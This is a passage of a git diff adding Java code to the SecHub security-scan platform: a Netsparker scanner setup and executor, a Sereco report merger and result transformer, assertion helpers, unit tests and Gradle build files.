@MustBeDocumented("The name of the agent to be used by netsparker. If a agent group name is already defined the group will be superiour. If no group set and no agent name netsparker will use a agent but seems to be unpredictable which agent will be used.") + private String agentName; + + @Value("${sechub.adapter.netsparker.scanresultcheck.period.minutes:-1}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_TIMEOUT) + private int scanResultCheckPeriodInMinutes; + + @Value("${sechub.adapter.netsparker.scanresultcheck.timeout.minutes:-1}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_CHECK) + private int scanResultCheckTimeOutInMinutes; + + public int getScanResultCheckPeriodInMinutes() { + return scanResultCheckPeriodInMinutes; + } + + public boolean isTrustAllCertificatesNecessary() { + return trustAllCertificatesNecessary; + } + + public int getScanResultCheckTimeOutInMinutes() { + return scanResultCheckTimeOutInMinutes; + } + + public String getAgentName() { + return agentName; + } + + public String getDefaultPolicyId() { + return defaultPolicyId; + } + + public String getInternetAgentGroupName() { + return internetAgentGroupName; + } + + public String getIntranetAgentGroupName() { + return intranetAgentGroupName; + } + public String getNetsparkerLicenseId() { + return netsparkerLicenseId; + } + + @Override + protected String getIdentifierWhenInternetTarget() { + return internetAgentGroupName; + } + + @Override + protected String getIdentifierWhenDaimlerIntranetTarget() { + return intranetAgentGroupName; + } + + @Override + public String getUserId() { + return netsparkerUserId; + } + + @Override + public String getPassword() { + return netsparkerAPIToken; + } + + @Override + public String getBaseURL() { + return netsparkerBaseURL; + } + + @Override + public boolean isHavingUntrustedCertificate() { + return trustAllCertificatesNecessary; + } + +} \ No newline at end of file diff --git a/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerProductExecutor.java b/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerProductExecutor.java new file mode 100644 index 0000000000..a5b0bf9ee2 --- /dev/null +++ b/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerProductExecutor.java @@ -0,0 +1,88 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.netsparker; + +import java.net.URI; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.adapter.netsparker.NetsparkerAdapter; +import com.daimler.sechub.adapter.netsparker.NetsparkerAdapterConfig; +import com.daimler.sechub.adapter.netsparker.NetsparkerConfig; +import com.daimler.sechub.domain.scan.TargetRegistry.TargetRegistryInfo; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.domain.scan.product.AbstractWebScanProductExecutor; +import com.daimler.sechub.domain.scan.product.ProductIdentifier; +import com.daimler.sechub.domain.scan.product.ProductResult; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +@Service +public class NetsparkerProductExecutor extends AbstractWebScanProductExecutor { + + private static final Logger LOG = LoggerFactory.getLogger(NetsparkerProductExecutor.class); + + @Autowired + NetsparkerAdapter netsparkerAdapter; + + @Autowired + NetsparkerInstallSetup installSetup; + + @Override + protected NetsparkerInstallSetup getInstallSetup() { + return installSetup; + } + + @Override + protected List executeWithAdapter(SecHubExecutionContext context, NetsparkerInstallSetup setup, + TargetRegistryInfo info) throws Exception{ + Set targetURIs = info.getURIs(); + if (targetURIs.isEmpty()) { + /* no targets defined */ + return Collections.emptyList(); + } + TargetType targetType = info.getTargetType(); + LOG.debug("Trigger netsparker adapter execution for target {} and setup {} ", targetType,setup); + + List results = new ArrayList<>(); + /* NETSPARKER is not able to scan multiple targets, so we + * start NETSPARKER multiple times for each target URI + */ + for (URI targetURI: targetURIs) { + /* @formatter:off */ + NetsparkerAdapterConfig netsparkerConfig = NetsparkerConfig.builder(). + setTimeToWaitForNextCheckOperationInMinutes(setup.getScanResultCheckPeriodInMinutes()). + setScanResultTimeOutInMinutes(setup.getScanResultCheckTimeOutInMinutes()). + setTrustAllCertificates(setup.isHavingUntrustedCertificate()). + setUser(setup.getUserId()). + setApiToken(setup.getPassword()). + setTraceID(context.getTraceLogIdAsString()). + setAgentName(setup.getAgentName()). + setAgentGroupName(setup.getIdentifier(targetType)). + /* TODO Albert Tregnaghi, 2018-02-13:policy id - always default id - what about config.getPoliciyID() ?!?! */ + setPolicyID(setup.getDefaultPolicyId()). + setProductBaseUrl(setup.getBaseURL()). + setLicenseID(setup.getNetsparkerLicenseId()). + setTargetURI(targetURI).build(); + /* @formatter:on */ + + /* execute NETSPARKER by adapter and return product result */ + String xml = netsparkerAdapter.start(netsparkerConfig); + ProductResult result = new ProductResult(context.getSechubJobUUID(), getIdentifier(), xml); + results.add(result); + } + return results; + } + + @Override + public ProductIdentifier getIdentifier() { + return ProductIdentifier.NETSPARKER; + } + + +} diff --git a/sechub-scan-product-netsparker/src/test/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetupImplTest.java b/sechub-scan-product-netsparker/src/test/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetupImplTest.java new file mode 100644 index 0000000000..4066cbaf55 --- /dev/null +++ b/sechub-scan-product-netsparker/src/test/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetupImplTest.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.netsparker; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.scan.OneInstallSetup; + +public class NetsparkerInstallSetupImplTest { + + private NetsparkerInstallSetupImpl setupToTest; + + @Before + public void before() { + setupToTest = new NetsparkerInstallSetupImpl(); + } + + @Test + public void is_extending_double_install() { + assertTrue(setupToTest instanceof OneInstallSetup); + } + +} diff --git a/sechub-scan-product-netsparker/src/test/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerProductExecutorTest.java b/sechub-scan-product-netsparker/src/test/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerProductExecutorTest.java new file mode 100644 index 0000000000..c0763fff5f --- /dev/null +++ b/sechub-scan-product-netsparker/src/test/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerProductExecutorTest.java @@ -0,0 +1,164 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.netsparker; + +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.adapter.netsparker.NetsparkerAdapter; +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.domain.scan.resolve.TargetResolver; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubWebScanConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +public class NetsparkerProductExecutorTest { + + private static final URI URI_1_INTERNET = URI.create("www.coolstuf1.com"); + private static final URI URI_2_INTERNET = URI.create("www.coolstuf2.com"); + private static final URI URI_3_INTERNET = URI.create("www.coolstuf3.com"); + + private TestNetsparkerProductExecutor executorToTest; + private SecHubExecutionContext context; + private NetsparkerAdapter netsparkerAdapter; + private SecHubConfiguration config; + private TargetResolver targetResolver; + private Target target1; + private Target target2; + private Target target3; + private NetsparkerInstallSetup installSetup; + + @Before + public void before() throws Exception { + context = mock(SecHubExecutionContext.class); + config = mock (SecHubConfiguration.class); + + target1 = new Target(URI_1_INTERNET,TargetType.INTERNET); + target2 = new Target(URI_2_INTERNET,TargetType.INTERNET); + target3 = new Target(URI_3_INTERNET,TargetType.INTERNET); + + + targetResolver=mock(TargetResolver.class); + when(targetResolver.resolveTarget(URI_1_INTERNET)).thenReturn(target1); + when(targetResolver.resolveTarget(URI_2_INTERNET)).thenReturn(target2); + when(targetResolver.resolveTarget(URI_3_INTERNET)).thenReturn(target3); + + netsparkerAdapter =mock(NetsparkerAdapter.class); + + when(context.getConfiguration()).thenReturn(config); + when(context.getSechubJobUUID()).thenReturn(UUID.randomUUID()); + + executorToTest = new TestNetsparkerProductExecutor(); + + executorToTest.netsparkerAdapter=netsparkerAdapter; + + installSetup=mock(NetsparkerInstallSetup.class); + when(installSetup.getBaseURL()).thenReturn("http://www.wunschhausen.de/netsparker"); + when(installSetup.getUserId()).thenReturn("user"); + when(installSetup.getPassword()).thenReturn("apitoken1"); + when(installSetup.getNetsparkerLicenseId()).thenReturn("license1"); + + executorToTest.installSetup=installSetup; + + } + + @Test + public void when_three_root_urls_are_configured_and_apter_can_handle_targets_the_adapter_is_called_3_times() throws Exception { + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + + prepareWebScanWithThreeInternetURIs(); + + /* execute */ + executorToTest.execute(context); + + /* test */ + verify(netsparkerAdapter,times(3)).start(any()); + } + + @Test + public void when_three_root_urls_are_configured_and_apter_can_handle_3_targets_the_adapter_is_called_3_times() throws Exception { + /* prepare */ + Target target2ButIntranet = new Target(URI_2_INTERNET, TargetType.INTRANET); + when(targetResolver.resolveTarget(URI_2_INTERNET)).thenReturn(target2ButIntranet); + + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(true); + + prepareWebScanWithThreeInternetURIs(); + + /* execute */ + executorToTest.execute(context); + + /* test */ + verify(netsparkerAdapter,times(3)).start(any()); + } + + @Test + public void when_three_root_urls_are_configured_and_apter_can_handle_2_targets_the_adapter_is_called_2_times() throws Exception { + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + + URI uriIntranet = URI_2_INTERNET;// we "reuse" the URI_2 so its used in prepare method but as INTRANET target! + Target intranetTarget = new Target(uriIntranet, TargetType.INTRANET); // fake this as INTERNET target... + when(targetResolver.resolveTarget(uriIntranet)).thenReturn(intranetTarget); + + prepareWebScanWithThreeInternetURIs(); + + /* execute */ + executorToTest.execute(context); + + /* test */ + verify(netsparkerAdapter,times(2)).start(any()); + } + + @Test + public void when_three_root_urls_are_configured_and_apter_cannot_handle_target_the_adapter_is_called_0_times() throws Exception { + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(false); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + prepareWebScanWithThreeInternetURIs(); + + /* execute */ + executorToTest.execute(context); + + /* test */ + verify(netsparkerAdapter,never()).start(any()); + } + + private void prepareWebScanWithThreeInternetURIs() throws URISyntaxException, SecHubExecutionException { + SecHubWebScanConfiguration webscan = mock(SecHubWebScanConfiguration.class); + when(config.getWebScan()).thenReturn(Optional.of(webscan)); + List uris = new ArrayList<>(); + uris.add(URI_1_INTERNET); + uris.add(URI_2_INTERNET); + uris.add(URI_3_INTERNET); + when(webscan.getUris()).thenReturn(uris); + } + + /** + * Own class to testing purpose - we can mock here the target resolver to protected field + * @author Albert Tregnaghi + * + */ + private class TestNetsparkerProductExecutor extends NetsparkerProductExecutor{ + private TestNetsparkerProductExecutor(){ + super.targetResolver=NetsparkerProductExecutorTest.this.targetResolver; + } + } + + +} diff --git a/sechub-scan-product-sereco/build.gradle b/sechub-scan-product-sereco/build.gradle new file mode 100644 index 0000000000..850b68697f --- /dev/null +++ b/sechub-scan-product-sereco/build.gradle @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-scan') + compile project(':sechub-sereco') + + testCompile project(':sechub-testframework') + testCompile project(':sechub-scan-testframework') + +} + diff --git a/sechub-scan-product-sereco/src/main/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportProductExecutor.java b/sechub-scan-product-sereco/src/main/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportProductExecutor.java new file mode 100644 index 0000000000..39f8f3f610 --- /dev/null +++ b/sechub-scan-product-sereco/src/main/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportProductExecutor.java @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.sereco; + +import static com.daimler.sechub.sereco.ImportParameter.*; + +import java.io.IOException; +import java.util.Collections; +import java.util.List; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.scan.product.ProductIdentifier; +import com.daimler.sechub.domain.scan.product.ProductResult; +import com.daimler.sechub.domain.scan.product.ProductResultRepository; +import com.daimler.sechub.domain.scan.report.ScanReportProductExecutor; +import com.daimler.sechub.sereco.Sereco; +import com.daimler.sechub.sereco.Workspace; +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; +import com.daimler.sechub.sharedkernel.util.SecHubRuntimeException; +@Component +public class SerecoReportProductExecutor implements ScanReportProductExecutor { + + private static final Logger LOG = LoggerFactory.getLogger(SerecoReportProductExecutor.class); + + @Autowired + ProductResultRepository productResultRepository; + + @Autowired + Sereco sechubReportCollector; + + @Override + public ProductIdentifier getIdentifier() { + return ProductIdentifier.SERECO; + } + + @Override + public List execute(SecHubExecutionContext context) throws SecHubExecutionException { + return Collections.singletonList(createReport(context)); + } + + private ProductResult createReport(SecHubExecutionContext context) { + if (context == null) { + throw new IllegalArgumentException("context may not be null!"); + } + String projectId = context.getConfiguration().getProjectId(); + + UUID secHubJobUUID = context.getSechubJobUUID(); + UUIDTraceLogID traceLogId = UUIDTraceLogID.traceLogID(secHubJobUUID); + LOG.debug("{} start sereco execution", traceLogId); + + /* load the results by job uuid */ + ProductIdentifier[] supportedProducts = getSupportedProducts(); + List foundProductResults = productResultRepository.findProductResults(secHubJobUUID, + supportedProducts); + + if (foundProductResults.isEmpty()) { + LOG.warn("{} no product results for {} found, will return an empty sereco JSON as result! ", traceLogId, getSupportedProducts()); + return new ProductResult(secHubJobUUID, getIdentifier(), "{}"); + } + + return createReport(projectId, secHubJobUUID, traceLogId, foundProductResults); + } + + private ProductResult createReport(String projectId, UUID secHubJobUUID, UUIDTraceLogID traceLogId, + List foundProductResults) { + Workspace workspace = sechubReportCollector.createWorkspace(projectId); + + for (ProductResult productResult : foundProductResults) { + importProductResult(traceLogId, workspace, productResult); + } + String json = workspace.createReport(); + /* fetch + return all vulnerabilities as JSON */ + return new ProductResult(secHubJobUUID, getIdentifier(), json); + } + + private void importProductResult(UUIDTraceLogID traceLogId, Workspace workspace, ProductResult productResult) { + String importData = productResult.getResult(); + String productId = productResult.getProductIdentifier().name(); + + LOG.debug("{} found product result for '{}'", traceLogId, productId); + + UUID uuid = productResult.getUUID(); + String docId = uuid.toString(); + LOG.debug("{} start to import result '{}' from product '{}'", traceLogId, docId, productId); + + /* @formatter:off */ + try { + workspace.doImport(builder(). + productId(productId). + importData(importData). + importId(docId) + .build()); + } catch (IOException e) { + throw new SecHubRuntimeException("Import into workspace failed:" + docId, e); + } + /* @formatter:on */ + } + + private ProductIdentifier[] getSupportedProducts() { + return new ProductIdentifier[] { ProductIdentifier.NESSUS, ProductIdentifier.NETSPARKER, ProductIdentifier.CHECKMARX }; + } + +} diff --git a/sechub-scan-product-sereco/src/main/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportToSecHubResultTransformer.java b/sechub-scan-product-sereco/src/main/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportToSecHubResultTransformer.java new file mode 100644 index 0000000000..3ca44e459f --- /dev/null +++ b/sechub-scan-product-sereco/src/main/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportToSecHubResultTransformer.java @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.sereco; + +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.scan.SecHubFinding; +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.domain.scan.Severity; +import com.daimler.sechub.domain.scan.product.ProductIdentifier; +import com.daimler.sechub.domain.scan.report.ScanReportToSecHubResultTransformer; +import com.daimler.sechub.sereco.metadata.MetaData; +import com.daimler.sechub.sereco.metadata.Vulnerability; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; +import com.daimler.sechub.sharedkernel.util.JSONConverter; + +@Component +public class SerecoReportToSecHubResultTransformer implements ScanReportToSecHubResultTransformer { + + private static final Logger LOG = LoggerFactory.getLogger(SerecoReportToSecHubResultTransformer.class); + + @Override + public SecHubResult transform(String origin) throws SecHubExecutionException { + MetaData data = JSONConverter.get().fromJSON(MetaData.class, origin); + SecHubResult result = new SecHubResult(); + + List findings = result.getFindings(); + int id = 1; + for (Vulnerability v : data.getVulnerabilities()) { + SecHubFinding finding = new SecHubFinding(); + finding.setDescription(v.getDescription()); + finding.setName(v.getType()); + finding.setId(id++); + finding.setSeverity(transformSeverity(v.getSeverity())); + findings.add(finding); + } + + return result; + } + + private Severity transformSeverity(com.daimler.sechub.sereco.metadata.Severity metaSeverity) { + if (metaSeverity==null) { + LOG.error("Missing Sereco Severity cannot transformed {} to sechub result! So returning unclassified!",metaSeverity); + return Severity.UNCLASSIFIED; + } + for (Severity severity : Severity.values()) { + if (severity.name().equals(metaSeverity.name())) { + return severity; + } + } + LOG.error("Was not able to tranform Sereco Severity:{} to sechub result! So returning unclassified!",metaSeverity); + return Severity.UNCLASSIFIED; + } + + @Override + public boolean canTransform(ProductIdentifier productIdentifier) { + return ProductIdentifier.SERECO.equals(productIdentifier); + } + +} diff --git a/sechub-scan-product-sereco/src/test/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportToSecHubResultTransformerTest.java b/sechub-scan-product-sereco/src/test/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportToSecHubResultTransformerTest.java new file mode 100644 index 0000000000..dc12117466 --- /dev/null +++ b/sechub-scan-product-sereco/src/test/java/com/daimler/sechub/domain/scan/product/sereco/SerecoReportToSecHubResultTransformerTest.java @@ -0,0 +1,76 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.sereco; + +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.scan.AssertSecHubResult; +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.sereco.metadata.Classification; +import com.daimler.sechub.sereco.metadata.MetaData; +import com.daimler.sechub.sereco.metadata.Severity; +import com.daimler.sechub.sereco.metadata.Vulnerability; +import com.daimler.sechub.sharedkernel.util.JSONConverter; + +public class SerecoReportToSecHubResultTransformerTest { + + private SerecoReportToSecHubResultTransformer transformerToTest; + + @Before + public void before() { + transformerToTest = new SerecoReportToSecHubResultTransformer(); + } + + @Test + public void one_vulnerability_in_meta_results_in_one_finding() throws Exception{ + /* prepare */ + String converted = createMetaDataWithOneVulnerabilityFound(); + + /* execute*/ + SecHubResult result = transformerToTest.transform(converted); + + /* test*/ + AssertSecHubResult.assertSecHubResult(result).hasFindings(1); + } + + @Test + public void transformation_of_id_finding_description_severity_and_name_are_done() throws Exception{ + /* prepare */ + String converted = createMetaDataWithOneVulnerabilityFound(); + + /* execute*/ + SecHubResult result = transformerToTest.transform(converted); + + /* test*/ + /* @formatter:off */ + AssertSecHubResult.assertSecHubResult(result). + hasFindingWithId(1). + hasDescription("desc1"). + hasSeverity(com.daimler.sechub.domain.scan.Severity.MEDIUM). + hasName("type1"); + /* @formatter:on */ + } + + + private String createMetaDataWithOneVulnerabilityFound() { + MetaData data = new MetaData(); + List vulnerabilities = data.getVulnerabilities(); + + Vulnerability v1 = new Vulnerability(); + v1.setDescription("desc1"); + v1.setSeverity(Severity.MEDIUM); + v1.setType("type1"); + v1.setUrl("url1"); + + Classification cl = v1.getClassification(); + cl.setCapec("capec1"); + + vulnerabilities.add(v1); + + String converted = JSONConverter.get().toJSON(data); + return converted; + } + +} diff --git a/sechub-scan-testframework/build.gradle b/sechub-scan-testframework/build.gradle new file mode 100644 index 0000000000..eb1287d515 --- /dev/null +++ b/sechub-scan-testframework/build.gradle @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-testframework') + compile project(':sechub-scan') + +} + diff --git a/sechub-scan-testframework/src/main/java/com/daimler/sechub/domain/scan/AssertSecHubResult.java b/sechub-scan-testframework/src/main/java/com/daimler/sechub/domain/scan/AssertSecHubResult.java new file mode 100644 index 0000000000..f2f09c2530 --- /dev/null +++ b/sechub-scan-testframework/src/main/java/com/daimler/sechub/domain/scan/AssertSecHubResult.java @@ -0,0 +1,180 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; +import static org.junit.Assert.*; + +import java.util.Arrays; +import java.util.Date; +import java.util.List; + +import com.daimler.sechub.test.SechubTestComponent; + +@SechubTestComponent +public class AssertSecHubResult { + + public static AssertSecHubResult assertSecHubResult(SecHubResult result) { + if (result == null) { + fail("Given sechub result is null!"); + } + return new AssertSecHubResult(result); + } + + private SecHubResult result; + + private AssertSecHubResult(SecHubResult result) { + this.result = result; + } + + public class AssertSecHubFinding { + + private SecHubFinding value; + + public AssertSecHubFinding(SecHubFinding v) { + this.value = v; + } + + public AssertSecHubResult andResult() { + return AssertSecHubResult.this; + } + + public AssertSecHubFinding hasDescription(String description) { + assertThat(value.description, is(equalTo(description))); + return this; + } + + public AssertSecHubFinding hasMethod(String method) { + assertThat(value.method, is(equalTo(method))); + return this; + } + + public AssertSecHubFinding hasName(String name) { + assertThat(value.name, is(equalTo(name))); + return this; + } + + public AssertSecHubFinding hasParameters(String parameters) { + assertThat(value.parameters, is(equalTo(parameters))); + return this; + } + + public AssertSecHubFinding hasPath(String path) { + assertThat(value.path, is(equalTo(path))); + return this; + } + + public AssertSecHubFinding hasParameterName(String pname) { + assertThat(value.parameterName, is(equalTo(pname))); + return this; + } + + public AssertSecHubFinding hasQuery(String query) { + assertThat(value.query, is(equalTo(query))); + return this; + } + + public AssertSecHubFinding hasNoRefs() { + assertNotNull(value.references); + assertEquals(0, value.references.size()); + return this; + } + + public AssertSecHubFinding hasRefs(String... refs) { + assertNotNull(value.references); + assertThat(value.references.toArray(new String[value.references.size()]), is(arrayContaining(refs))); + return this; + } + + public AssertSecHubFinding hasRequest(String request) { + assertThat(value.request, is(equalTo(request))); + return this; + } + + public AssertSecHubFinding hasResolution(String resolution) { + assertThat(value.resolution, is(equalTo(resolution))); + return this; + } + + public AssertSecHubFinding hasResponse(String response) { + assertThat(value.response, is(equalTo(response))); + return this; + } + + public AssertSecHubFinding hasService(String service) { + assertThat(value.service, is(equalTo(service))); + return this; + } + + public AssertSecHubFinding hasSeverity(Severity severity) { + assertThat(value.severity, is(equalTo(severity))); + return this; + } + + public AssertSecHubFinding hasTarget(String target) { + assertThat(value.target, is(equalTo(target))); + return this; + } + + public AssertSecHubFinding hasWebsite(String website) { + assertThat(value.website, is(equalTo(website))); + return this; + } + + public AssertSecHubFinding hasCreator(String creator) { + assertThat(value.createdBy, is(equalTo(creator))); + return this; + } + + public AssertSecHubFinding hasCreatorDate(Date creationTime) { + assertThat(value.created, is(equalTo(creationTime))); + return this; + } + + public AssertSecHubFinding hasNoHostnames() { + assertNotNull(value.hostnames); + assertEquals(0, value.hostnames.size()); + return this; + } + + public AssertSecHubFinding hasHostNames(String... hostnames) { + assertNotNull("Hostnames are null!", value.hostnames); + assertEquals("Amount of hostnames differs!", value.hostnames.size(), hostnames.length); + + List hostnamesAsList = Arrays.asList(hostnames); + if (!value.hostnames.containsAll(hostnamesAsList)) { + fail("Hostname count same, but hostnames not as expected!\nExpected: " + hostnamesAsList + "\nResulted:" + + hostnames); + } + + return this; + } + + } + + public AssertSecHubFinding hasFindingWithId(int id) { + List vulnerabilities = result.getFindings(); + for (SecHubFinding v : vulnerabilities) { + if (v.id == id) { + return new AssertSecHubFinding(v); + } + } + fail("No Finding with ID:" + id + " found!"); + return null; + } + + public AssertSecHubResult hasFindings(int count) { + List vulnerabilities = result.getFindings(); + if (vulnerabilities == null) { + if (count == 0) { + return this; + } + fail("No findings at all found!"); + } + + assertEquals("Not expected amount of findings found:", count, vulnerabilities.size()); + + return this; + } + +} diff --git a/sechub-scan-testframework/src/test/java/com/daimler/sechub/domain/scan/SecHubResultTest.java b/sechub-scan-testframework/src/test/java/com/daimler/sechub/domain/scan/SecHubResultTest.java new file mode 100644 index 0000000000..ef87eda3be --- /dev/null +++ b/sechub-scan-testframework/src/test/java/com/daimler/sechub/domain/scan/SecHubResultTest.java @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static com.daimler.sechub.domain.scan.AssertSecHubResult.*; +import static org.junit.Assert.*; + +import org.junit.Test; + +public class SecHubResultTest { + + @Test + public void empty_sechub_result__to_json__returns_not_null() throws Exception { + /* prepare */ + SecHubResult result = new SecHubResult(); + + /* execute */ + String json = result.toJSON(); + System.out.println(json); + + /* test */ + assertNotNull(json); + } + + @Test + public void one_finding_sechub_result__json_contains_sample_data() throws Exception { + /* prepare */ + SecHubResult result = new SecHubResult(); + SecHubFinding finding = new SecHubFinding(); + finding.setId(123); + finding.hostnames.add("www.example.org"); + finding.hostnames.add("example.org"); + finding.target = "145.253.152.108"; + finding.severity = Severity.LOW; + + result.findings.add(finding); + + /* execute */ + String json = result.toJSON(); + + /* test */ + assertNotNull(json); + assertTrue(json.contains("145.253.152.108")); + assertTrue(json.contains("www.example.org")); + assertTrue(json.contains("123")); + assertTrue(json.contains(Severity.LOW.name())); + } + + @Test + public void one_finding_sechub_result__json__reloaded_fromJson_finding_found_as_defined() throws Exception { + /* prepare */ + SecHubResult result = new SecHubResult(); + SecHubFinding finding = new SecHubFinding(); + finding.setId(123); + finding.hostnames.add("www.test.com"); + finding.hostnames.add("test1.com"); + finding.hostnames.add("test2.com"); + finding.target = "145.253.152.108"; + finding.severity = Severity.LOW; + + result.findings.add(finding); + + /* execute */ + String json = result.toJSON(); + SecHubResult reloaded = SecHubResult.OBJECT.fromJSON(json); + + /* test @formatter:off */ + assertSecHubResult(reloaded). + hasFindingWithId(123). + hasHostNames("www.test.com","test1.com","test2.com"). + hasTarget("145.253.152.108"). + hasSeverity(Severity.LOW); + /* @formatter:on */ + } + +} diff --git a/sechub-scan/build.gradle b/sechub-scan/build.gradle new file mode 100644 index 0000000000..9cba262390 --- /dev/null +++ b/sechub-scan/build.gradle @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-shared-kernel') + compile library.springboot_starter_thymeleaf + + testCompile project(':sechub-testframework') + +} + diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractAnyTargetOneInstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractAnyTargetOneInstallSetup.java new file mode 100644 index 0000000000..cdd406626d --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractAnyTargetOneInstallSetup.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +/** + * Abstract base class for scans where INTERNET and INTRANET scans will be done by ONE installation and we do NOT + * CARE about in which environment we are. The product is able to handle all + * @author Albert Tregnaghi + * + */ +public abstract class AbstractAnyTargetOneInstallSetup extends AbstractInstallSetup implements AnyTargetOneInstallSetup{ + + + @Override + protected void init(ScanInfo info) { + } + + @Override + public final boolean isAbleToScan(TargetType type) { + /* can scan all...*/ + return true; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractInstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractInstallSetup.java new file mode 100644 index 0000000000..2c4f03b85f --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/AbstractInstallSetup.java @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import java.util.concurrent.locks.ReentrantLock; + +/** + * Abstract base class for install setup implementations + * @author Albert Tregnaghi + * + */ +public abstract class AbstractInstallSetup implements InstallSetup{ + private ScanInfo info; + private ReentrantLock lock = new ReentrantLock(); + + protected abstract void init(ScanInfo info); + + @Override + public boolean isAbleToScan(TargetType type) { + if (type==null) { + return false; + } + ensureInfo(); + + if (isDaimlerIntranet(type)) { + return info.canScanDaimlerIntranet; + }else if (isInternet(type)) { + return info.canScanInternet; + }else if (isCode(type)){ + /* code has no restriction is always scannable */ + return true; + }else { + return false; + } + } + + private void ensureInfo() { + try{ + lock.lock(); + if (info==null) { + info = new ScanInfo(); + init(info); + } + }finally{ + lock.unlock(); + } + + } + + protected boolean isInternet(TargetType type) { + if (type==null) { + return false; + } + return type.isInternet(); + } + + protected boolean isCode(TargetType type) { + if (type==null) { + return false; + } + return type.isCodeUpload(); + } + + + protected boolean isDaimlerIntranet(TargetType type) { + if 